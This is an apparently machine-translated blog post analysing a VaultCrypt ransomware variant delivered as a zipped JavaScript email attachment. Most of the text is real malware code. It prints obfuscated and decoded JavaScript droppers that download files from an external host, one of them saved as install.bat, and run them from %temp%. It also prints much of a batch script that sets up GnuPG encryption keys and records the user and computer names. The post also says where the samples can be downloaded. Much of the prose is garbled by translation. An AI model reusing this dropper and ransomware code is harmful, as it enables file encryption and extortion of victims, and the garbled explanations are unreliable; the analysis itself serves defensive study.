VaultCryptランサムウェアの変更のいずれかの分析

こんにちはハブ!



先日(約1か月前)、電子メールで送信されたトロイの木馬のサンプルレターを受け取りました。 一般的に、私は悪意のあるファイルの分析の専門家ではありませんが、この場合、深い知識がなくても最も簡単な分析を実行できることがわかりました。



私は以前これをやったことがなかったので、ここから何を引き出すことができるかを見るのが面白くなった。 cat-ドロッパーコードと実行可能batファイルの解析。



TL; DR:catの下-かなり大きくて退屈なBATファイルのほぼ行ごとの解析。 コード、写真、最小限の考え。



注意 :一部のアンチウイルス(特に、私のアバスト!)は、JSコードの特定の断片に対して非常に否定的に反応します。 アバスト! 記事の代わりに、「接続がリセットされました」というメッセージのある空白ページがありました。 読みたい場合はこれを覚えておいてください。



注意:
何が起こっているのかを理解するために、私はいくつかの実験を行いました。その結果、私は50のドラフト投稿の誇りある所有者になりました。 そして、Habrのドラフト削除するのは不可能だと気づきました。)





1.難読化解除ドロッパー





それで、最初に手紙がありました。 手紙の本文は次のようなものでした。こんにちは、Hoofs and Horns LLCの会計士があなたに手紙を書いています。



添付ファイルはレターに添付されます:zip-archive、その中には次の名前のjs-ファイルがあります:



  . -     11.08.     .d .js
      
      





その内容は次のとおりです。
 //// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM ///// uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM eval(function(d, e, a, c, b, f) { b = function(a) { return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36)); }; ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY if (!"".replace(/^/, String)) { for (;a--;) { f[b(a)] = c[a] || b(a); } ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY c = [function(a) { return f[a]; }]; ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY b = function() { return "\\w+"; }; a = 1; } for (;a--;) { c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a])); } ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY return d; ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY } ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY ('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("lm"),3=9.n(3);5 f(a,d){4 b=8 7("op"),c=(8 e("qr6.0")).s("t");cu="vw";cx=a;c=cy;bz=1;bA();bB(c);bC(d,2);bD()}5 g(a){9.E(a,0,0)}f("F=",""+3+"hi");g(""+3+"hi");', 42, 42, " MT33 var function CreateObject new JS02 ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run ".split(" "), 0, {})); ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY ///// 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb ///// VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
      
      





私の最初のステップは非常に明白でした。明らかにセマンティックの負荷を持たないコメントを削除することです。 この場合、ファイルは小さく、コメントを手動で削除するか、正規表現を使用できます。 たとえば、 多くのテキストエディターでは、 ^\s*////.*\n



パターンに一致するすべての行を空の行に置き換えることができます(4つのスラッシュで始まるすべての行を選択します)。



おやつとして、ピンチを少し追加することができます。



その後、以下を取得します。
 eval(function(d, e, a, c, b, f) { b = function(a) { return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36)); }; if (!"".replace(/^/, String)) { for (;a--;) { f[b(a)] = c[a] || b(a); } c = [function(a) { return f[a]; }]; b = function() { return "\\w+"; }; a = 1; } for (;a--;) { c[a] && (d = d.replace(new RegExp("\\b" + b(a) + "\\b", "g"), c[a])); } return d; } ('4 3="%j%\\\\";5 7(a){k 8 e(a)}4 9=7("lm"),3=9.n(3);5 f(a,d){4 b=8 7("op"),c=(8 e("qr6.0")).s("t");cu="vw";cx=a;c=cy;bz=1;bA();bB(c);bC(d,2);bD()}5 g(a){9.E(a,0,0)}f("F=",""+3+"hi");g(""+3+"hi");', 42, 42, " MT33 var function CreateObject new JS02 ActiveXObject JS04 JS10 update js temp return WScript Shell ExpandEnvironmentStrings ADODB Stream Msxml2 DOMDocument createElement tmp dataType bin base64 text nodeTypedValue Type Open Write SaveToFile Close Run ".split(" "), 0, {}));
      
      





大丈夫ですが、それほどではありません。 :)



何が見えますか? eval()



関数は、コードを最初に実行します。 どのコードですか? 関数function(d, e, a, c, b, f)



を返します。 彼女はどこからパラメータを取得しますか? そして、それらは関数の宣言の直後に示されます。 a



からf



までの6つのピースすべてが使用可能です。



 ('4 3="%j%\\\\";5 7(a) <....>, 42, 42, " MT33 var function CreateObject <....>, 0, {})
      
      





数分間コードを吸った後、私は脳がなかったことを突然思い出し、抵抗の少ない道を歩もうとすることにしました。



難読化されたコードが4番目のパラメーターに含まれていることがわかります。 まず、変数と関数への参照があり、それからかなり大量のフットクロスがBase64でエンコードされているようです。



うん もしも...




ビンゴ! コードがあります。 素晴らしい難読化ツールが使用されます。それらはもっとあります。 :)



注意:
しかし、すべてがチョコレートであるとは限りません。 文字通り数時間後、別のニュースレターが飛び出しました:手紙の類似のテキスト、添付ファイルの類似のjsファイル-しかし、別の難読化ツールが既に使用され、Base64の形の甘い景品はありませんでした。



興味があれば、次のようになりました。
 // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc //// cb138ea5c1bfe3ab5c876e3cb1582344 ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445 eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function() // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445 {return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1E 14=["\\18\\a\\I\\19\\A\\1y\\Z\\1y\\1l\\1l\\A\\15\\y\\a\\12\\U\\c\\V\\1s\\W\\a\\1t\\a\\g\\U\\c\\V\\1q\\18\\a\\G\\19\\12\\U\\A\\d\\M\\o\\A\\V\\1f\\I\\19\\G\\M\\n\\U\\I\\V\\15\\y\\a\\1d\\U\\c\\1f\\s\\V\\1s\\18\\a\\q\\19\\1t\\a\\12\\U\\A\\T\\M\\m\\A\\V\\1f\\b\\19\\U\\1t\\a\\g\\U\\A\\1r\\M\\L\\M\\1c\\M\\j\\A\\V\\V\\M\\R\\U\\A\\h\\A\\V\\15\\b\\M\\p\\19\\A\\O\\M\\P\\A\\15\\b\\M\\1a\\19\\c\\15\\b\\19\\b\\M\\f\\15\\q\\M\\u\\19\\16\\15\\q\\M\\10\\U\\V\\15\\q\\M\\1h\\U\\b\\V\\15\\q\\M\\v\\U\\s\\1f\\B\\V\\15\\q\\M\\Y\\U\\V\\1q\\y\\a\\X\\U\\c\\V\\1s\\G\\M\\N\\U\\c\\1f\\j\\1f\\j\\V\\1q\\1d\\U\\A\\17\\A\\1f\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15\\X\\U\\A\\A\\1j\\I\\1j\\A\\D\\M\\i\\A\\V\\15","\\a","\\R\\m\\d\\i\\h","\\a\\a\\a\\k\\C\\I\\I\\a\\O\\c\\L\\a\\1d\\p\\n\\b\\h\\i\\T\\n\\a\\a\\v\\L\\g\\c\\h\\g\\1b\\q\\Z\\g\\b\\h\\a\\n\\g\\P\\a\\H\\Q\\j\\B\\a\\a\\a\\a\\a\\10\\b\\h\\i\\O\\g\\w\\1b\\q\\Z\\g\\b\\h\\a\\H\\Q\\j\\18\\a\\H\\Q\\16\\j\\a\\p\\m\\s\\c\\h\\g\\a\\Z\\R\\a\\h\\g\\o\\m\\a\\L\\g\\h\\p\\L\\n\\a\\x\\Q\\b\\L\\i\\m\\h\\a\\Q\\D\\g\\d\\d\\a\\N\\1a\\m\\c\\n\\s\\N\\n\\O\\i\\L\\T\\n\\o\\g\\n\\h\\Q\\h\\L\\i\\n\\X\\R\\a\\10\\Y\\1b\\Y\\1h\\a\\Q\\h\\L\\g\\c\\o\\a\\k\\R\\1a\\o\\d\\B\\a\\Y\\1b\\k\\Y\\T\\b\\p\\o\\g\\n\\h\\a\\b\\L\\g\\c\\h\\g\\N\\d\\g\\o\\g\\n\\h\\a\\h\\o\\m\\a\\s\\c\\h\\c\\C\\f\\m\\g\\a\\q\\i\\n\\a\\q\\c\\R\\g\\1c\\18\\a\\h\\g\\1a\\h\\a\\n\\T\\s\\g\\C\\f\\m\\g\\s\\r\\c\\d\\p\\g\\a\\C\\f\\m\\g\\a\\1b\\m\\g\\n\\a\\x\\L\\i\\h\\g\\a\\Q\\c\\O\\g\\C\\T\\17\\i\\d\\g\\a\\v\\d\\T\\R\\g\\a\\J\\p\\n\\a\\Y\\E\\m\\B\\z\\w\\11\\X\\Q\\d\\k\\P\\k\\u\\j\\i\\H\\w\\J\\d\\q\\w\\10\\d\\w\\17\\P\\i\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\E\\I\\H\\d\\z\\w\\J\\d\\C\\B\\H\\1r\\l\\x\\13\\j\\e\\t\\11\\m\\g\\I\\H\\d\\s\\1e\\r\\f\\q\\i\\1h\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\D\\i\\e\\w\\j\\13\\v\\n\\l\\D\\b\\i\\1h\\e\\F\\u\\10\\f\\1k\\F\\13\\f\\l\\x\\17\\j\\l\\F\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\r\\16\\13\\Z\\b\\o\\d\\P\\s\\v\\y\\C\\c\\t\\r\\R\\q\\v\\11\\m\\1b\\P\\j\\e\\Q\\d\\k\\P\\k\\u\\16\\e\\F\\u\\10\\f\\K\\W\\r\\18\\b\\t\\17\\p\\l\\N\\r\\p\\s\\o\\d\\f\\q\\B\\y\\h\\l\\x\\y\\j\\F\\I\\J\\f\\c\\x\\y\\n\\b\\f\\D\\e\\F\\u\\10\\u\\e\\C\\R\\13\\v\\o\\l\\16\\q\\o\\13\\j\\c\\x\\G\\p\\11\\t\\m\\1r\\e\\t\\11\\R\\l\\v\\d\\12\\s\\o\\17\\f\\11\\t\\k\\G\\q\\o\\r\\I\\11\\N\\17\\Z\\s\\t\\d\\B\\l\\r\\D\\1k\\z\\o\\m\\d\\z\\I\\E\\T\\11\\W\\16\\C\\x\\N\\16\\k\\k\\i\\y\\z\\C\\F\\1a\\11\\r\\17\\J\\E\\11\\i\\W\\12\\z\\f\\y\\O\\b\\t\\r\\p\\e\\v\\H\\1e\\J\\r\\E\\i\\K\\t\\11\\R\\k\\v\\W\\12\\z\\f\\y\\u\\l\\x\\y\\W\\e\\v\\W\\12\\Y\\E\\m\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\F\\B\\13\\f\\c\\w\\1h\\j\\c\\x\\y\\n\\K\\W\\l\\m\\q\\t\\r\\C\\g\\w\\13\\j\\l\\x\\16\\1k\\z\\o\\m\\d\\z\\I\\E\\i\\e\\C\\h\\B\\z\\w\\11\\X\\z\\C\\16\\p\\l\\w\\b\\X\\E\\x\\13\\j\\c\\w\\l\\d\\x\\N\\G\\i\\c\\o\\r\\Z\\s\\v\\X\\i\\E\\F\\J\\1k\\J\\N\\11\\p\\F\\I\\J\\f\\l\\x\\17\\h\\11\\i\\W\\12\\Y\\E\\m\\D\\K\\W\\G\\P\\l\\x\\18\\T\\e\\C\\h\\D\\K\\d\\J\\y\\b\\t\\F\\G\\k\\C\\h\\D\\K\\d\\s\\f\\c\\w\\J\\d\\e\\t\\k\\p\\F\\o\\r\\u\\b\\t\\G\\p\\b\\B\\r\\v\\q\\B\\J\\y\\e\\C\\h\\D\\K\\d\\1h\\O\\b\\B\\d\\j\\c\\x\\G\\p\\1k\\C\\10\\12\\z\\Q\\y\\C\\z\\w\\l\\d\\r\\t\\G\\t\\c\\x\\1a\\d\\e\\t\\E\\R\\k\\i\\W\\12\\z\\Q\\y\\Y\\q\\t\\G\\u\\l\\Q\\X\\m\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\G\\Z\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\G\\Z\\K\\o\\J\\O\\z\\f\\b\\m\\1b\\P\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\Q\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\N\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\s\\1e\\H\\y\\11\\1e\\h\\e\\F\\u\\N\\1a\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\J\\O\\z\\f\\y\\W\\q\\B\\k\\n\\e\\C\\h\\G\\Y\\E\\m\\Z\\z\\w\\J\\Z\\c\\v\\D\\e\\F\\u\\10\\P\\13\\f\\d\\12\\1d\\E\\j\\e\\l\\n\\r\\p\\z\\I\\J\\m\\q\\B\\18\\X\\Q\\d\\k\\1a\\k\\v\\D\\e\\F\\u\\N\\f\\e\\w\\h\\e\\F\\u\\10\\f\\K\\d\\H\\16\\q\\i\\D\\e\\F\\u\\N\\f\\K\\Y\\10\\R\\k\\v\\W\\12\\1d\\E\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\R\\H\\f\\b\\L\\Q\\d\\k\\P\\k\\f\\R\\n\\l\\t\\r\\u\\c\\x\\s\\p\\K\\o\\13\\u\\b\\f\\b\\m\\1b\\P\\j\\e\\c\\o\\T\\T\\H\\B\\D\\j\\s\\1e\\10\\1c\\K\\f\\G\\O\\b\\n\\r\\1c\\c\\t\\h\\O\\s\\i\\y\\p\\l\\w\\E\\O\\c\\x\\y\\u\\k\\i\\y\\Z\\b\\I\\k\\n\\K\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12\\Y\\E\\m\\e\\F\\u\\N\\P\\e\\v\\b\\n\\e\\j\\m\\C\\k\\Y\\k\\L\\H\\B\\d\\p\\b\\I\\J\\D\\q\\t\\P\\p\\z\\o\\17\\j\\H\\f\\W\\12","","\\1d\\L\\T\\o\\v\\D\\c\\L\\v\\T\\s\\g","\\L\\g\\m\\d\\c\\b\\g","\\1l\\P\\1j","\\1l\\q","\\X"];1F(1n(1m,1o,S,1i,1g,1u){1g=1n(S){1p(S<1o?14[4]:1g(1B(S/1o)))+(1C<(S%=1o)?1v[14[5]](S+1I):S.1A(1z))};1D(!14[4][14[6]](/^/,1v)){1x(;S--;){1u[1g(S)]=1i[S]||1g(S)};1i=[1n(S){1p 1u[S]}];1g=1n(){1p 14[7]};S=1};1x(;S--;){1i[S]&&(1m=1m[14[6]](1G 1H(14[8]+1g(S)+14[8],14[9]),1i[S]))};1p 1m}(14[0],1w,1w,14[3][14[2]](14[1]),0,{}));',62,107,'||||||||||x20|x63|x61|x6C|x4B|x79|x65|x74|x69|x30|x4D|x5A|x70|x6E|x6D|x75|x62|x56|x64|x47|x7A|x43|x58|x57|x35|x59|x22|x32|x54|x68|x51|x55|x39|x4A|x33|x52|x4C|x72|x2E|x45|x76|x77|x53|x73|_0x3283x3|x6F|x28|x29|x6B|x67|x44|x6A|x41|x49|x37|x4E|_0x32db|x3B|x31|x46|x34|x3D|x78|x4F|x36|x66|x48|x2C|_0x3283x5|x42|_0x3283x4|x2B|x50|x5C|_0x3283x1|function|_0x3283x2|return|x7D|x71|x7B|x38|_0x3283x6|String|42|for|x25|36|toString|parseInt|35|if|var|eval|new|RegExp|29'.split('|'),0,{}) // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc //// cb138ea5c1bfe3ab5c876e3cb1582344 ///// 0292edd4c9c022663364f87adf190adccb138ea5c1bfe3ab5c876e3cb15823445 ) // 59d3ce34148c30ca34d7c7a66638ae5c0292edd4c9c022663364f87adf190adc
      
      





まあ、これも簡単に解読できます: 絶対に任意のテキストエディターでコードを開き、 eval()



console.log()



に変更し、JSブラウザーconsole.log()



Firefoxなど)で結果のブラウザーを実行します



もちろん、この記事の最初から元のjsファイルを使用して同じ操作を実行できます。



このようなもの(クリック可能):




画面の下部には、興味のあるコードがあります。



すべてのコードは1行で記述されます。 この場合、読み取り可能な状態にするために、単に「;」を置き換えることができます。 (セミコロン)から "; \ n"(セミコロンと改行)。



さて、フォーマットでもう一度シーズンします。



コードデコードとドロッパーカーネルの起動:
 var MT33 = "%temp%\\"; function CreateObject(a){ return new ActiveXObject(a) } var JS02 = CreateObject("WScript.Shell"), MT33 = JS02.ExpandEnvironmentStrings(MT33); function JS04(a, d){ var b = new CreateObject("ADODB.Stream"), c = (new ActiveXObject("Msxml2.DOMDocument.6.0")).createElement("tmp"); c.dataType = "bin.base64"; c.text = a; c = c.nodeTypedValue; b.Type = 1; b.Open(); b.Write(c); b.SaveToFile(d, 2); b.Close() } function JS10(a){ JS02.Run(a, 0, 0) } JS04("=", "" + MT33 + "update.js"); JS10("" + MT33 + "update.js");
      
      





コードは驚くほどシンプルです。 %temp%



フォルダーへのパスを取得し、Base64からブートローダー(ドロッパー)の主要部分をデコードし、結果のコードを%temp%\update.js



。 その後、悪意のあるファイルがWScript.Shell.Run()



関数によって実行されるようにWScript.Shell.Run()



されます。



PSなぜ私たちが今これをやったのかは完全に理解不能です-すでにデコードされたコードを持っています...



まあ、それをさせてください。 :)





2.ドロッパー分析





そのため、Base64からベースドロッパーコードを正常にデコードしました。



彼に会いましょう!
 var JS03 = "%temp%\\"; function CreateObject(b){ return new ActiveXObject(b) } var JS02 = CreateObject("WScript.Shell"); JS03 = JS02.ExpandEnvironmentStrings(JS03); function jj(b, d){ var c = new ActiveXObject("MSXML2.XMLHTTP"); c.open("GET", b, 0); c.send(); new ActiveXObject("Scripting.FileSystemObject"); var a = new ActiveXObject("ADODB.Stream"); a.Open(); a.Type = 1; a.Write(c.ResponseBody); a.Position = 0; a.SaveToFile(d, 2); a.Close() } jj('http://oruzhkov.net/doc.css','' + JS03 + 'doc.doc'); function JS11(JS12){ JS02.Run(JS12, 1, 0); } try { JS11('' + JS03 + 'doc.doc'); } catch(JS007){ } function JS10(JS12){ JS02.Run(JS12, 0, 0); } jj('http://oruzhkov.net/design.css','' + JS03 + 'design.css'); jj('http://oruzhkov.net/ins.css','' + JS03 + 'install.bat'); JS10(''+JS03+'install.bat');
      
      





このコードも、非常に簡単です。 少し気に障るのは、あいまいな変数名だけです。 何が起こっているかの一般的な意味は次のとおりです。



ダウンロードしたファイルのサンプルは、ディストリビューターの公式ウェブサイトから直接ダウンロードするか(今後利用できなくなります)、 ここから入手できます(今後数か月で利用可能になり、その後消去されます。アーカイブパスワードは「ウイルス」です)。



doc.doc



ファイルは、通常のMS Word文書のようです(少なくとも、その中に悪意のあるものは見つかりませんでした)。 ユーザーを開くと、次のように表示されます。



Wordのバージョンが古くなっています!




design.css



ファイルは、実際にはgpg.exe



であり、メッセージとファイルを暗号化するためのユーティリティです。



また、 ins.css



ファイル( install.bat



)は、トロイの木馬のメインの実行可能ファイルそのものです。



3.実行可能ファイルの難読化解除





install.bat



ファイルの元の内容は、ネタバレの下にリストされています。 多くのコード(約850行)があるため、このスポイラーをまったく開かないことをお勧めします。短縮バージョンは後で提供されます。



コード(850行muti):
 echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM echo uxqTUNgSeIQPIzvREL2BBpQKqgkAqK3RnG7HD15SZkPpEc3TNM @ECHO OFF echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY SetLocal EnableDelayedExpansion echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul cd "%TEMP%" if not exist "%temp%\9480bf43.76a94786" ( echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo 871c371d > "%temp%\9480bf43.76a94786" echo b4Ga5r573nErUJaHejudevuRuTaChUbr >nul echo BeQedRu54GUtra5aYEdeseTe2R4wruv6 >nul attrib +s +h "%temp%\9480bf43.76a94786" echo sPE3as8pHaResW583YuwrUdraz4fraFr >nul ) else ( echo wra7ap4ve3rezUCufRamAQeJUPaste4A >nul echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY goto 871c371d ) rename "%temp%\design.css" "gpg.exe" copy /y "%temp%\design.css" "%temp%\gpg.exe" del /f /q "%temp%\design.css" echo fr8chADr8phubuca4atHu7ebrezeXuc8 >nul echo nes2AzanaBU2AtaST4wUzEc5anAd5U5e >nul echo pUprESPeResWaZuPrasw38eduzEBruzA >nul chcp 866 set 715c7be3=!RANDOM! set b67b5d00=!RANDOM! echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul set dc841a88=!RANDOM! set db5a2d8a=!RANDOM! echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul set ee1f189d=!RANDOM! set 2162ea2b=!RANDOM! echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul set 58d179b8=!RANDOM! set 3d645b52=RU if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random% echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul echo Key-Type: RSA> "%temp%\9c668934.2ca1046c" echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c" echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c" echo yAphareSwu4UtAspetrukatRes84etha >nul echo 3RAFaY8dUtremaserabAtr7MagEbrAd8 >nul "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c" echo CUdUbruTra6rafarafReduhepadraYug >nul echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e" echo CUdUbruTra6rafarafReduhepadraYug >nul echo te6eVUW8e5eR5chUGachef4nu6r3xenU >nul echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e" echo thefr4brUYe36aFrecHathePr7CAFanE >nul echo trufufrecrututheg5prewrefeXaswe3 >nul echo.>> "%temp%\03dfb98e.7087b06e" echo thefr4brUYe36aFrecHathePr7CAFanE >nul echo trufufrecrututheg5prewrefeXaswe3 >nul echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e" echo thefr4brUYe36aFrecHathePr7CAFanE >nul echo trufufrecrututheg5prewrefeXaswe3 >nul echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e" echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e" echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e" echo thefr4brUYe36aFrecHathePr7CAFanE >nul echo trufufrecrututheg5prewrefeXaswe3 >nul echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e" echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e" echo thefr4brUYe36aFrecHathePr7CAFanE >nul echo trufufrecrututheg5prewrefeXaswe3 >nul echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e" echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo =CuiR>> "%temp%\03dfb98e.7087b06e" echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe" del /f /q "%temp%\9c668934.2ca1046c" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo.>> "%temp%\3637bf69.36ddf8fe" echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe" echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe" echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe" echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe" echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe" echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe" echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe" echo PreQ3baxuwuP42EX2tepeTra5rA6eN4C >nul echo ZewrU5u8A4A8Ra5He2heXeWr6bRuzePU >nul echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe" echo chcp 866 > "%temp%\61231f25.9db8b89a" echo 3ekudesewekePrUBreqAcrabrastUCHu >nul echo spEfAch6gaCHetHuMEM2fUgexuj27rAS >nul FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :1010f32d %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo 3ekudesewekePrUBreqAcrabrastUCHu >nul echo 